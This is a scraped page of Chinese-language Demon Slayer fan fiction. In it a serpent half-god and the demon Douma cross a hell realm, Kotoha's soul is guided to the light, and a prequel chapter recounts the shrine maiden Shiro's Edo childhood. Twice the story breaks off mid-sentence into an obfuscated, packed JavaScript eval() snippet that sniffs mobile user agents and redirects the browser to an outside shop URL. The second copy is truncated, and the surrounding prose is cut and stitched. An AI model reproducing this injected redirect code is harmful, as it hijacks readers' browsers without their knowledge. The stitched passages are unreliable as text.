童磨握着扇子,踏着遍地鲜血缓缓走来,如同血池中生出的纯白死神,口中吐出残酷无比的话语。 “你已经死了,小琴叶。想起来了吗?那一次也是这样,我努力的向你解释了,但你不肯听我说的任何一句话,就带着伊之助逃掉了。”鬼似乎无比惋惜地微微叹了口气,“我告诉了你,这就是极乐啊,送痛苦的教徒前往极乐,是我的义务,我还告诉你,只要你当作什么也没看到,我可以养你和伊之助一辈子,绝不会吃掉你们。”他走到琴叶面前蹲下,伸出尖长的指甲,温柔地抚过那张满是泪水的脸,“甚至我还告诉了你,是因为前些天接到了那位大人的指令,我忙了好几个晚上,回来时实在有点饿了。我保证下一次,绝不会再被你看到了。可是啊……” 恶鬼的微笑犹如冰封的、失去生命的莲花。 “你不肯听呢,你说我是骗子,说我骗了大家。你宁可把那孩子丢下悬崖,也不肯再留在我身边。” “所以我只能吃了你,因为就算逃出去,失去孩子的你又该怎样活下去呢?外面的那些人,又将会如何对待孤身一人的你呢?多么可怜啊,小琴叶。”鬼抚摸着少女的秀发,“就在那个悬崖边,我把你的骨头都吃的干干净净,一点也没有浪费。因为你到死,都是个傻丫头啊。” 琴叶什么也说不出口,只是颤抖着抽泣。 “所以你到地狱里来见我,是想向我讨回公道吗?你希望我为你做些什么呢?或是还有什么想对我说的?我会听哦。”鬼继续温和的问。 我实在看不下去了,不管这个琴叶是人是鬼,都不该遭到如此对待。 于是我走过去拨开了童磨的手,挡在女孩面前,“起来,你吓到她了!琴叶,你听我说,事情不是……” 没有一点预兆的,我被那只鬼一把抓住衣领丢了出去。 至此我才第一次亲身体会到鬼这种生物的瞬间爆发力有多可怕,导致我直接撞破了大厅的几层拉门飞到了院子里,没来得及做出任何反应。然而在空中时,我看到琴叶娇小的身体突然裂开,里面喷出的却不是红色的热血,而是某种如同火焰一般的幽绿灵光,几乎在一瞬间吞没了她面前的童磨。 我在空中翻了个身稳定住自己,毛骨悚然地发现院子里站满了人。 18. 万世极乐(6) 他们都穿着教徒的白衣,头却耷拉在一边,像是被铁丝强行串在一起的娃娃。 “教主大人……” 离我最近的是那天最先在门口问好的女孩,我记得她叫枝子还是什么,此刻她七窍流出了幽绿的液体,半睁着只剩黑洞的眼睛看向某个虚无的方向。 “教主大人…请救救我们……” “教主大人…请指引我们…” “神子啊…您在哪里…告诉我该怎么办…” 这种声音渐渐在人群中弥散开去,如同一个诅咒。每个人都僵硬地伸出双手,想要抓住虚空中那并不存在的神明。 “教主大人…教主大人…教主大人…教主大人…教主大人……” 眼前一片向天伸出的手臂,如同尸体的森林。 是死灵。我几乎立刻做出了判断。 我们正身处的不是什么极乐寺,而是无间地狱的第二重,死灵之森。 早就听闻这里的幻境能完全模拟灵魂生前的感情、记忆乃至执念,让进入者无法分辨真伪,只能沉睡在此,一点点被吸干。 该死的,这么重要的事,我居然一直没能想起来。 但我该怎么做?杀了这些人吗? 他们已经是死灵的寄生体,虽然不知道为什么极乐教的教徒们会出现在这里,但他们都曾经是人类,灵体形成的躯壳异常脆弱,在这里杀了他们就意味着剥夺他们去转世的机会。 不管了,先放倒再说。 “沧龙·禁!”我接连甩出几个大范围封印法术,碧色水流汇集成禁制之锁,如电流般游走在人群里,击中的人全都躺倒在地,一时间动弹不得。 但那种幽绿色的灵光很快从他们僵硬的躯体上涌出,仅仅在空中停顿了一下,就找到别的还能动的躯壳钻了进去,更多的则是向我的方向扑来。 要命! 我连忙使用水之结界格挡,但那种奇怪的绿光好像具有粘性一样,竟然迅速渗透进结界里,像某种软体动物一样缠上我的手臂,然后瞬间爆燃! 一阵被锐利的东西穿透的刺疼。我才意识到那绿色的火焰居然在啃噬我。 大概因为我的灵体并非人类,无法为它们提供寄居之所,所以索性张嘴开咬。 挥刀斩落手臂上的这一只,我迅速复原了手臂。但放眼望去,面前的空中星星点点,如同森林里狼群的眼睛,粗略一算至少游动着数千条形如水蛭的生物,见到灵力的涌动就犹如见到鲜血一般猛扑上来,看起来应该饿了很久。 我翻身跃上了屋顶,拔刀挥出一片水幕。这招还是跟童磨的散莲华学的,虽然比原版的冰莲之刃威力小的多,但高速散射的带有灵力的水珠,能大范围击穿灵体,对付这种灵界生物应该会管用。 果不其然,被击中的一部分死灵在破碎后消散,但因为数量太多,又有一些逃遁进入地面上教徒们的灵体中,吸收了足够的力量后卷土重来。 打成消耗战就没意义了。再说谁知道这片广阔界域的土壤中埋藏着多少被死灵寄生的灵体?但目前这状况……不太像容易突围的样子。 一阵寒风裹着冰粒降临。与此同时,我感到身后传来巨大的压迫感,不用看也知道那是某一头褪去伪装的人形妖兽,终于神清气爽地登场了。 “晚上好,稍微来迟了一些,真是抱歉。大家都还没有休息吗?” 是童磨一如既往的亲切开场白,然而那声音里毫无起伏,只有彻骨的寒冷。 “既然信众如此虔诚,身为教主的我,就为大家再进行一次最后的布道吧。” “血鬼术·冻云。” 随着他口唇轻启,我骤然产生了迫近的危机感,在无间地狱多年练就的生存本能让我迅速原地趴下,顺便布下了防护结界,几乎在同一刻,夹着细小冰晶的冻雾席卷而来,四野之内转瞬一片苍茫的雾色,一切有实体和没有实体的生物,都被凝结在这片雾色里。 雾中却爆发出无数怨魂的哀鸣,地面上无数双苍白的手臂僵硬的伸向他们心中的神明。 “教主大人,教主大人!请救救我们!” “教主大人!这是哪里呀?您不是说要引领我们去极乐吗?” “神子啊,请不要抛弃我们啊!我们要永远追随您啊!” 神明悲悯地俯视着追随他堕入地狱的信徒们,这一次,没有眼泪,也没有微笑。 “抱歉,我只能将诸位带到这里啦。不过不用担心,很快就不会痛苦了哦。” “请诸位谨记,我所在之处,便是极乐净土。” 神明垂下他美丽的眼睛:“血鬼术·蚀。” 冻雾瞬间转为血红,像是天上降下了一场血雨。我听到那些浮游在空中的死灵发出嘶嘶的哀鸣,但很快,所有的声音戛然而止,只余死寂。 不知过了多久,雾气终于缓慢地散去,随之而散去的,还有那座古朴的寺庙、大殿、莲池、乃至森林、河流和星空,一切都好似一个在阳光下消散的美丽梦境,无星的混沌世界重新降临,空旷到只剩无数石化的枯木,以及无边无际的荒原。 一个女人的声音突兀地响起在这片寂静里: “果然是没有心的恶鬼,连追随自己的信徒的灵魂都全部抹杀掉,他们可是为了你才执迷不悟,所以被罚跟你一起堕入地狱,你就这样对待他们,让他们在地狱里灰飞烟灭?” 我猛的扭头,发现一边的石化木上坐着一个身着白和服的影子,脸上覆盖着一张白纸。 一名神灵。 “让阁下如此大费周章,竟然还原样建了一座极乐寺送我,真是不知道怎么感激您才好。” 童磨悠然的走过来。我才注意到他的教帽和袍子都不见了,半边脸上有被什么东西烧过的痕迹,正在缓慢的复原。 “我听说过你的事。”似乎是女性的神灵说道:“上弦之二,下了地狱也不肯忏悔的恶鬼,万世极乐教教主,在你的同类里也是著名的疯子。现在你感觉怎样?依然不肯承认自己是个骗子?” “啊,听声音阁下好像是女孩子呢?”鬼愉快的说,“真好,我最喜欢和女孩子说话。但您刚才,好像没有仔细听我布道哦?” 下一秒,他的身影鬼魅般出现在那名神灵身后,金色流光一闪,神灵的头就落了下来。 童磨将那颗头捧在手里,轻轻吹开脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252295|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白纸。 白纸下露出的,依然是琴叶的脸,双眼紧闭,流下两行血泪。 “你喜欢这个女孩子吧?”头颅说,“她也喜欢你,本来她的灵魂足够纯净,完全可以去彼岸与家人相会,因为被你吞噬,却依然怀有一线对你的牵挂,因此才堕入地狱。你就没有什么想对她说的吗?” 童磨捏碎了那颗头,拍了拍手上的灰烬。 “阁下希望我说什么呢?”鬼露出天真的表情,“难道他们没有告诉您,我对人类的感情毫无感知这件事吗?” “万世极乐教的历史超过两百年,从江户到大正,我的教徒像流水一样,一代一代,源源不绝,如果不是无惨大人要求我把道场的常驻信众控制在250人以内,您甚至无法想象这两百年间有多少人希望我指引他们去往极乐净土。”童磨的嘴角勾起一个真正属于邪魔的微笑,“作为神灵,阁下和您的朋友不该感到羞愧吗?毕竟,是我在代替你们做着那些最辛苦的工作啊。” “荒谬!”女性神灵的身影再次出现在旁边的另一棵枯树上,冷冷的说,“神灵之事岂容你这样不通人理的渣滓评论!你根本就是一具苟活于世的行尸走肉。八岁时你父母相残而死,就死在你面前,你连一滴眼泪都没有掉,足见你从小就是个冷血无情的怪物。即便这样也不肯忏悔,你真的是罪大恶极!” “真是无礼呐,您到底打还是不打?”童磨叹了口气,“我那位父亲大人和女信徒偷情,被母亲杀了,母亲也自愿追随他前往极乐。这也和我有关?没见过您这么不讲道理的神哦。” “她在拖延时间吧。”我看着那个影子,“这里应该是有法阵正在启动。” “啊,小染跟我说话了,你没有生我的气真是太好了。”鬼立刻露出甜腻的笑容,“我好开心!” “你闭嘴。”我没好气的说,“咱俩的事待会儿再说。” 被我戳破的神灵似乎终于注意到了我的存在,冷哼了一声。 “真是稀罕啊,一个神居然和邪魔同路。” “半神。”我纠正她。 “荒川之主,你也曾是一方水神,为何堕落至此?”她看起来有点困惑,覆着白纸的脸转向童磨,又转向我,突然嗤的笑出声。 “呵呵,我明白了,我明白了!一个吞噬信徒,一个吞噬巫女!一个专吃女子,一个专吃小孩!你们两个还真是匹配啊,都很……” 她话音未落,我的手已经按到了她的脸上。 “给我去死。” 我感到自己无比冷静,真的无比冷静,但就是有碧青的火焰从我手上和身上窜出,像爆炸的烟火一样盛放,直烧进她的灵体。一瞬间我能清楚地看到她全身灵力的回路,甚至是与土地相连的那些部分。那些和人类的血管与心脏类似的结构中流淌着甘甜的光流,它们在我的手中蒸腾,汇入我的血脉中,成为我的养料。 夺取吧,吞噬吧。 有个温柔又悦耳的声音在我耳畔低语。 神灵的全身一瞬间就被青炎吞噬,开始枯萎破碎,却还是吐出了最后一句话。 “呵呵…你体内有那只怪物的鬼血啊…难怪…难怪……” 19. 万世极乐(7) 解决了她,并确认法阵的异动停止后,我一言不发的向方才极乐寺的方向走去。 找了又找。但一切都不见了,放眼望去只有几根建筑的残骸,以及灰烬。 “在这边啦。”童磨朝我挥手。 我跌跌撞撞地跑过去,在他揭开的黑色法袍下,看到了琴叶惨白的脸。 灵体似乎只剩下了头部,其余的地方都碎了。 “琴叶,琴叶啊…” 几百年没有掉过的眼泪,此刻再次从我干涸的眼眶中涌出。 为什么心会有感觉啊?上一次心这么痛,还是在失去小白的时候。 谢谢你,对不起。 那个人无法说出的话,无法做到的事,就让我替他做到吧。 琴叶睁开那双绿色的眼睛,茫然地看着我,“染小姐,这是怎么啦…我怎么啦?” 我努力挤出一个微笑:“琴叶,你不要害怕,听我说。你不能呆在这个地方,走吧,走的远远的,一直往光明的地方去,你的亲人都会在那里等你,知道了吗?我会帮你祈祷,但你要努力的,努力的向上飞,就像那天你带着孩子从家里跑出来那样拼尽全力,记住了吗?” 她皱起眉,静静地看着我。 “不要哭啊。”她说,“我没有责怪过染小姐哦,虽然只有短短的一段时间,但好像我们已经是好朋友啦。” 我点头:“嗯!我们是好朋友!我最喜欢琴叶做的点心!如果,如果有来世的话…我还想和你坐在一起聊天吃点心!” 琴叶笑了。 我跪坐在一地灰烬里,开始默念那部《心经》。 观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄…… ……以无所得故,菩提萨埵,依般若波罗蜜多故,心无罣碍,无罣碍故,无有恐怖,远离颠倒梦想,究竟涅磐。 拜托了,小白,拜托了,帮帮我。 我知道我不是个合格的神灵,但是请救救琴叶,请把她带到光明中去,带到再也没有苦难的地方去。 琴叶的双眼望向天空,一片安宁的绿色中,光芒逐渐明亮起来,就像一朵死而复生的花。 “啊,染小姐,我好像看到了,天上有一道光呢。” “是的,你就往那里去,别回头,什么也别想。”我坚决的对她说。 她却努力将目光转向一旁。 “教主大人。”她喃喃道。 童磨立刻满面笑容地贴了过来。 “我在这里哦,小琴叶。”他的声音依然温柔动听。 “怎么办才好呢,教主大人…总是像个孩子一样。”琴叶含着的眼泪终于沿着脸颊滑落。 “我一点也没办法原谅您,您吃掉枝子她们,也吃掉了我,这些事,我全都想起来了,一点也没办法原谅…” “但是…但是…我还是希望…您能得到幸福。” “教主大人,请您一定要得到幸福哦…” 童磨脸上的表情消失了,似乎他一贯伶俐的嘴巴和头脑全都停止了运转。 “幸福啊……” 他轻声自语,似乎对这个他曾对信徒说出过千万次的词感到无比陌生。 琴叶的灵魂合上眼睛,一点点化为白色的光点,向天上飘去。 “啊,对了,小琴叶,还有一件事忘了告诉你。” 童磨忽然微笑起来,用一种非常柔和的语气说道: “伊之助长成了很厉害的男孩子哦,我亲眼看到了,一眼就认出是你的儿子,真的非常出色,也像你一样坚强勇敢哦。” 我看到了少女最后的笑容,她说:太好了。 命运的滚滚洪流,苍茫百年,能在人海中相遇,真是太好了。 哪怕最终的结果是离散,我们也依然学到了很多。 如有缘份,愿能再会。 若无缘再见,也希望你在某处,开始新的生活。 朋友,家人,所爱之人,皆是如此。 目送最后一点白光消失在天际,我站了起来,拍了拍身上的灰土,转身向荒原的深处走去。 “小染也要逃走了吗?” 童磨的声音在我身后响起,人却没有跟上来。 “对。我们分开走吧,童磨大人。” 我不想回头,一丁点也不想,就算我知道那只鬼现在一定用那副天真无辜的表情注视着我,独自一人站在无边的空旷与荒芜当中,就像数百年来他所度过的全部岁月那样。 如果我回头,他一定会马上露出黏糊糊的笑容,用他使用的无比熟练的甜言蜜语把我留下。 我不是琴叶,我可以逃离。 这次他没有追上来。 我在荒原中不知道走了多久,期间又想起很多事。 那一年,白应该是六岁,或者七岁。我对人类的年纪总是记不清楚。 她是个早慧的女孩子,从进入神社开始,就每天泡在藏书室里,由女侍教她识字读书,虽然那不是巫女的职责,这些女孩一般只要学习经文和神乐就好。但白很喜欢读书,也学的很快,因此才进入神社两年左右的时间,就能捧着各种经书读给我听了。 “小白小白,你知道这段说的是什么意思吗?‘是故空中无色,无受想行识,无眼耳鼻舌身意,无色声香味触法,无眼界,乃至无意识界……‘” 我不耐烦地甩了甩尾巴,打掉了她手里的书。 “不要急嘛,我来给你讲。”她捡回书,煞有甚事的坐好,“这段讲的是,人心和佛法的本质都是空无的,所有你感受到的气味、颜色甚至是触觉,都不是真实的存在。” 什么鬼啊,我不想听。 我之前吃过那么多小女孩,没见过这么唠叨的,简直比寺庙里的老僧人还能唠叨。 我整日在熏香和经文的伴随中盘在她身边睡觉,虽然她很吵,但神社里很凉快,我不愿意挪地方。况且她也是唯一看到我不会尖叫的人类。 渐渐我也发现,白的眼睛很特别,她似乎可以看到一些旁人看不见的东西,甚至是只有我能看到的东西。有时进入神社的人身上的某种气息会让她觉得讨厌,我就故意把供品从桌上打落到地上,来人理解不了为什么东西会莫名掉到地上,就被吓得落荒而逃。白笑到不行,看她在笑,我也会莫名的跟着愉悦起来。 有时她也会对着神社某处呆呆的看,我便会注意到那里有什么奇形怪状的灵体,或是悄悄进来的黑影,这种时候我一般会故意显出形体,露出尖牙,不管是什么东西,都会瞬间消失。 白就会更加开心的扑过来抱住我,说些“小白最厉害了!”这样的废话。 我是神啊,小家伙,我当然厉害了。 我得意的想。 人类总要有求于我,你再怎么特别,也只是个小小的人类,所以不会例外的。 我们没有遇到过鬼。神社后面种了一棵巨大的紫藤树,听人类说鬼惧怕那东西。我也从来不担心哪只鬼敢进入我的地盘。 又过了一年,这孩子长高了不少,就是太瘦,全身没有几两肉,看着都塞牙。 她读的书更深奥了,人也更野了。 秋冬的时候还好,我懒得动,外面下着雨雪时,我们就挤成一团在她的房间里生着碳炉烤火,她有时还会从菜园挖两个红薯放在火上烤,最后往往是糊的,吃的她一脸一身黑灰,让照顾她的女侍格外崩溃。 最要命的是她还会往我嘴里塞红薯,糊的我满嘴都是又甜又粘的东西,实在恶心。 夏天时可以玩的东西就尤其多了。神社后面就是山,她喜欢白天偷偷跑到山上,一呆就是一天,山上有小溪有野果,不愁吃喝。女侍一开始会找她,后来大概看她跑的实在很频繁,又每次都会平安回来,只要她做完功课,干脆也就放任她去了。 当然平安无事了,每次我都跟着。 我也喜欢那座山,能远离人类的气味的地方,我都喜欢。能在溪水里泡着纳凉的地方,我很喜欢,能捉野猪或是山羊这种小动物当零食的地方,我就更喜欢了。所以我们各取所需。上山以后她一般会找片草地看书或是发呆,要不就是用我当凉席来睡觉。那里还能看到山下如同蓝色玉带般流过的荒川,看到自己的河流,总能让我安心。 夜里她就在山上抓萤火虫,用纱笼装着拎回神社里,看它们发光,再在天亮前放它们飞走。夜晚的山上偶尔也会有些奇怪的东西路过,但有我跟着,什么也不敢靠近这个人类小女孩。 坏处就是即便在山上晒太阳,也逃不过她的经文轰炸。 “小白小白,我问你——‘所有一切众生之类:若卵生、若胎生、若湿生、若化生;若有色、若无色;若有想、若无想、若非有想非无想,我皆令入无余涅盘而灭度之。如是灭度无量无数无边众生,实无众生得灭度者’,这句话是什么意思呀?” 我已经习惯了,连眼皮都懒得抬。谁能告诉我普通人类家的八岁女孩这种时候在做什么啊?这孩子果然很不正常。 “这是《金刚经》里的话哦,后面有解释,‘若菩萨有我相、人相、众生相、寿者相,即非菩萨‘,意思大概就是说,众生皆是平等的,哪怕是鬼,或者小白,也都是和人类一样的生命,都值得爱和珍惜,菩萨会度化所有的生命,没有分别。” 这次我听懂了。这孩子怎么回事,我是神,怎么能把我和人类还有鬼相提并论! 于是我不满意的又一次甩尾巴打飞了她的书。 她乐颠颠的把书捡回来,活像只会捡球的小狗。 “佛经里说了,世上其实有三千大千世界,像河里的沙子那么多呢!” 小女孩躺在我身上,望着天空上的云彩说道。 “小白,有一天我们要是能去看看那些世界就好了。听说沿着荒川,就可以一直走到大海,大海边有很大的船,坐上船,就能到其他的世界去,我想去看一看,其他世界的人是怎么生活的,他们有没有父亲和母亲……” 说到这里她突然停住了一下,又接着说,“要是可以,我也要带着小白一起去,因为小白是我的第一个朋友呀。” 笨蛋,我讨厌大海,那里的水又咸又苦,哪有我的荒川好。 况且朋友是什么东西,能吃吗? “朋友就是彼此理解和珍惜的人哦。”女孩笑着,把一朵路边摘的牵牛花放在我头上,蛇的鳞片很光滑,那花很快就被风吹到不知道哪里去了,她就契而不舍地又放上一朵。 “朋友会吵架,但无论什么时候,都不可以放弃彼此。” 叮。 银铃声响起。记忆里的那个孩子,依然梳着娃娃头,看起来永远停止在八九岁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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好吧,鬼血什么的果然不靠谱,也可能是因为不靠谱的鬼,血也不怎么靠谱。 我还是用最原始的方法吧。 “童磨!”我开始疯狂大喊。 “童磨!你在哪儿?” “童磨!给我滚出来!我要砍了你的头!” “诶呀…是小染吗?”不远处的树林里传来我熟悉的贱兮兮的声音,只不过听起来有点有气无力。 我狂奔过去,看到那只鬼靠着一棵枯树坐着,那叫一个好整以暇。 我感觉自己的牙齿咬的咯咯响,想马上砍死这笑容满面的无赖。 “你这么多天就没挪地方?是不是需要我找个软轿抬你啊教主大人?” 鬼眨眨他的琉璃七彩大眼睛,职业化的眼泪马上掉下来。 “好感动啊,小染果然没有逃掉呢……” …… 一腔怒火就这么消失了。果然听到他的声音,谁都没办法生气……吧? 我沉着脸去拽他,一下居然没拽起来。 “你怎么回事?”我察觉到他不太对劲,脖子上的烧伤痕迹好像还在,没有恢复。 “啊,我饿的动不了啦。”童磨一脸寡廉鲜耻的微笑,“我都好久没吃东西了。再说没有小染的话,我也不认识路呀。但我知道你一定会回来的,这是身为神之子的神秘预知能力哟。” 什么见鬼的神秘预知力,是血鬼术吧? 我被气笑了。 于是把手伸给他,恶鬼一口咬上我的手腕,连血带灵力的狂吸,看样子确实饿坏了。 唉,早知道不该独吞那个神灵,忘了这家伙从进入那个极乐寺,应该就没吃过东西了。 吸了好一阵子,他停下来,连嘴角的血都一丝丝舔干净,才呼出一口气。 “啊,现在感觉好多了。” 我又好气又好笑:“你也太挑食了,这样可不行啊,童磨大人。” “为什么不行?”鬼理直气壮的说,“我现在只有小染一个信徒了呀,我想要小染的供养。” “我不是你的信徒哦,”我握住他的手,那只手的骨骼纤细修长,坚硬而冰冷,一点也不像手的主人平日伪装出的温文风雅。 “忘了吗,我是你的朋友。” 童磨居然好像怔了一下。 真有意思,第一次见到这只鬼表情管理失败的时刻。 看来他还需要恢复一阵子,我也索性靠着树坐了下来,果不其然,他问出了那句非常经典的话。 “呐,小染……朋友到底是什么?不可以吃掉吗?” “嗯…最好不要吃。”我想了想,告诉他,“因为朋友是无论如何也不会放弃你的那个人,如果你遇到困难,就一定会赶来帮你。” 是担心你脸色苍白,而煮你不爱吃的食物,逼着你吃下去的人。 是在你面前唱歌,欢笑着抛洒花瓣,生怕你会寂寞的人。 是冬天一起烤火,夏天一起捉萤火虫的人。 是一路同行,顺着河流的方向,找到大海的人。 “果然还是不明白啊。”身旁的鬼轻声感叹。 “但听起来不错,那我也要做小染的朋友哦。所以接下来小染要带我去哪里呢?” 这话说的,怎么好像要我对他负责一样? “我们继续向前走,直到走出去为止。” 20. 江户篇·初雪(前情番外) 往昔所造诸恶业,皆因无始贪嗔痴; 往昔所造诸善业,必有得偿善果时。 —————— 她从小就知道自己是特别的。 三岁时,她问母亲:厨下的阿市,这些天为什么总在井边哭? 母亲的脸瞬间变得苍白,跑去不知跟父亲说了什么,脸上被打了一巴掌,哭哭啼啼的跑回来,拧着她的嘴便骂:“叫你胡说!叫你胡说!” 胡说归胡说,家里第二天便来了一群僧人,吵吵嚷嚷闹到很晚。那天之后,她便再没见过井边的阿市了。 后来她长大了一点,依稀看出了母亲在家中那卑微的地位,便懂事的闭上了嘴。 父亲虽是江户城中那位将军大人的侧用人,世袭贵族,位高权重,家中吃喝不愁,母亲却只是父亲的四房妾室中最末等的,出身低微,她又是女孩,连父亲的姓氏都无权拥有。母亲只能以她出生那天的大雪为由,为她取名为“白”。 随着长大,她也渐渐习惯了自己眼中光怪陆离的世界,那些东西就像花草树木,不过长得特别一点罢了。有些会比较可怕,譬如街上艺馆边那个全身流着血的女人,或是总出现在父亲身边、看不清模样的小孩或老人。但只要她不理他们,装作看不见,他们便也不会来打扰她。 四岁时,祖母病了。她跟随母亲去探病,看到祖母身上裹着一层沉沉的灰雾,终究是没忍住,说了句:“光没有了啊。” 父亲正巧路过,叫她到身边问:“你说的是什么?” “是光啊。”她天真的看着父亲,“每个人都有。父亲的是红色的,母亲是稍微像土布那样的黄色。可祖母的光没有了。” 父亲盯着她,目光深沉。 没几日祖母便去世了。母亲被父亲叫去,很久没有回来。夜里归来时两眼通红,望着她无力的说: “白,你父亲大人说了,入秋时你便去荒川神社里住吧,这段日子不要再惹他生气了。” 她懵懂的点点头,问:“母亲大人也和我一起去吗?” 母亲摇了摇头,转过脸不再看她。 她从小见的东西太多,因此那天在神社的庭院边,看见水中那条青蓝色的大蛇时,一点也没感到害怕。毕竟动物从不会伤害她,也不会对她露出父亲和母亲的那种眼神。 那条蛇名叫“荒”,但她更愿意叫它小白。她觉得自己和它很像,没有父亲和母亲管着,从此无拘无束,想做什么就做什么,也没有人会在意。 时间就这么过去。一年,两年,三年…她在神社中长大,在神社中读书,诵经,学习神乐,但最喜欢的还是去后山捉萤火虫。大蛇跟着她,一向很安静,只是偶尔仿佛能听到它的声音,那些声音是破碎的,只有简单的意图,但她依然很开心,因为除了女侍,这是唯一肯跟她说话的生物。 直到四年后的一个初春。那一年的天气有些特别,早樱都已开了,却下了场雪。早上她推开门时,看到门口樱树上裹着一层洁白的霜雪,反射着日光,五颜六色甚为好看,她莫名就想到城中那家果子铺卖的樱花团子上的砂糖粒,那可是稀罕东西,先前只有她生辰时,母亲才会买给她。但现在不会再有人给她买了,于是她做出了人生中最重大的一个决定:自己去买。 凭着记忆走在江户城宽阔的街道上时,她看到漫天飞舞的樱花花瓣,在日光下是一种透明的粉白,那真是美丽的景象,她看的有些入迷,不小心就撞在了什么人身上。 那是几个衣饰华贵的少年,武士家的男孩成人早,已经到了可以佩刀的年纪。为首的一个恶狠狠的瞪着她,推了她一把。 “哪来的臭丫头,你不长眼吗?” 她一眼就认出那是父亲正室、藤月夫人的小儿子,平日在家就是极受宠的,父亲甚至说要在他成人后,让他来继承将军侧用人的位子。但她现在是神社的巫女,也不再是他口中的小丫头了。 她站起来,拍拍身上的土,给那孩子鞠了个躬:“阿松哥哥,撞到您是我的错,对不起啦。” “我当是谁,是阿紫那贱货生的那个小怪物啊。”男孩们哄笑起来,为首的男孩伸手捏住她的脸颊,“居然还活着啊,长得还不赖嘛。“ 她奋力拨开男孩的手,“请您放尊重些,我现在是荒川神社的巫女。” 男孩们笑的声音更大了。叫阿松的男孩子一巴掌抽在她脸上,“什么巫女,那就是个喂蛇的饵料,倒是挺适合你这个小怪物的哟。“他嘶嘶的模仿着蛇的声音,“被扔到水里,活生生的一点点从头到脚被吃掉,那些人没告诉你吗?” 她第一次这么愤怒,跳起来伸手就抓住了比她高出好多的男孩的衣襟。 “你胡说八道!小白是我的朋友,它才不会吃我!” 八岁的女孩实在太过矮小,阿松抓住她的手,一把就将她推倒在地,抽出腰间的刀鞘就开始劈头盖脸的打她。 “小怪物,还敢冒犯我?你算个什么东西?贱货生的下流东西!明明是邪祟还装什么巫女?真是笑死人了!” 她狠狠咬着牙,嘴里都是土和血的味道,两只耳朵里只剩下嗡嗡的响声。 “住手。” 不知从什么地方,突然传来个清亮的声音,声音不大,却透着种莫名的威仪。 她听见阿松强横的说:“你谁啊,关你什么事?” 那个清亮的声音不紧不慢的说道:“在街上打女孩子,是很失礼的事情哦,您的父母没有教过您起码的言行之道吗?” “哈?哪来的野小子?敢在我面前撒野?” 那个声音依然不紧不慢的说:“我是万世极乐教的神子,应将军侧用人的邀约,来这里参加神社的法会。您呢?” 阿松身边有侍从小声说道:“是有这么回事,听闻老爷从京都那边的山里请来个什么神子,能听到神明的声音。这几天府中都在准备这事。都说那神子天生白橡发色,七彩瞳孔,看着和眼前这位一样,阿松公子还是不要再跟他纠缠了。” 阿松恶狠狠的骂了句,带着人迅速走掉了。 她吃力的从地上支撑起身体,沙子迷了眼睛,看什么都是模糊的,仿佛有人朝她走来,一片奇特的光晕代替春日的太阳出现在她视野里。 “您没事吧?好可怜啊,还能站起来吗?” 那个清亮的声音现在近在咫尺,她揉了揉眼,望见了她从未看到过的美丽光色。 那是如同山顶的冰雪般的纯粹光芒,闪耀着彩虹一样的旖丽颜色。 是她在父亲身上、母亲身上、祖母身上,以及所有人身上都没见到过的光。 但那看上去明明只是个跟她差不多大的小孩子,脸孔漂亮的像个女孩,却穿着一身肃穆的黑色法袍,头戴毗卢帽,胸前挂着硨磲念珠。日光之下,那孩子的眼睛竟流转着虹霓一般的色彩,像是古老传说里那些从高天原来的使者。 神明吗?一定是神明吧。 她一时竟然忘了该说些什么,只喃喃的说道: “好漂亮啊…你的光。” 那孩子微笑起来,向她伸出一只手。 “您脸上都是土呢,快站起来清理一下吧。还有没有哪里受伤?小心一点哦。” 她于是拉住了那只手,那孩子把她扶了起来,还贴心的拍了拍她衣服上的尘土。 “这样就好啦,看起来没有大碍真是太好了。您住在哪里?需要我帮忙送您回去吗?” 她才注意到路边停着几顶黑色的轿子,轿门边装饰着金色的莲纹。一名女子从其中一顶轿子里探出头来,有些不耐的望向这边。 她突然面红耳赤起来。刚刚为什么要说自己是巫女呢?眼前这孩子应该没听到吧。这幅灰头土脸的样子还说自己是神社的巫女,简直太丢人了! 于是她摇了摇头,说:“我就住在附近,谢谢您的帮助,我自己可以走回家。“ “那么后会有期,请您好好保重。”那孩子微笑着说。 她慌乱的挥挥手,跑进了侧面的小巷子。 直到跑回神社里,她的心还在砰砰直跳。自己偷偷摸摸用净水洗了脸,换了衣服,但女侍进来时还是看出了端倪。 “白姬大人,您这是怎么了?脸上怎么都肿了?” 她吞吞吐吐的说:“下山时摔倒了,没什么的。“ 女侍皱起了眉:“这可不行,大名请来的贵人马上要到了,您这样怎么见人呢?快用妆粉遮一下,我来帮您。” 她不得不由着女侍为自己上妆,最后被涂抹的连自己都认不出自己的脸,又套上了全身的巫女白衣,披上了绣着父亲的家纹——柳生笠的千早。拖着一身厚重的衣物被女侍带到神社正殿里时,她感觉自己全身都是汗。 神社门口的铜铃铛被摇响了,随着唱经声,大门外鱼贯而入六名白衣的女侍者,捧着点燃了熏香的香炉,将还带着露水的莲花花瓣洒在地上。接着是四位白衣的男侍者,抬着一架乌木所造、四面都装饰着鎏金莲纹的神辇缓缓步入正殿。 “好大的阵仗。”她听到坐在父亲身边的藤月夫人低声说。 但她一眼就看到那神辇上端坐的孩子,洁白发色,眉目低垂,脸上挂着一丝神佛似的恬静微笑。当他在大殿正中的天光下睁开双眼时,那流光溢彩的虹色双瞳瞬间便夺走了在场所有细碎的声音。 意料之中的片刻寂静后,她又听到藤月夫人轻声叹道:“……可真是个漂亮孩子啊。” 神辇落地,那身量比她高不出多少的神子被侍者扶着缓步而下,一名身着青色和服的女性跟在他身后。他们走到她的父亲和藤月夫人面前,先是行了全套仪礼,随后那位神子用清亮的童音说道: “万世极乐教今日前来拜谒柳生家主大人和夫人,能在您治下弘法,实乃三生有幸。神明定会保佑您的安康。” 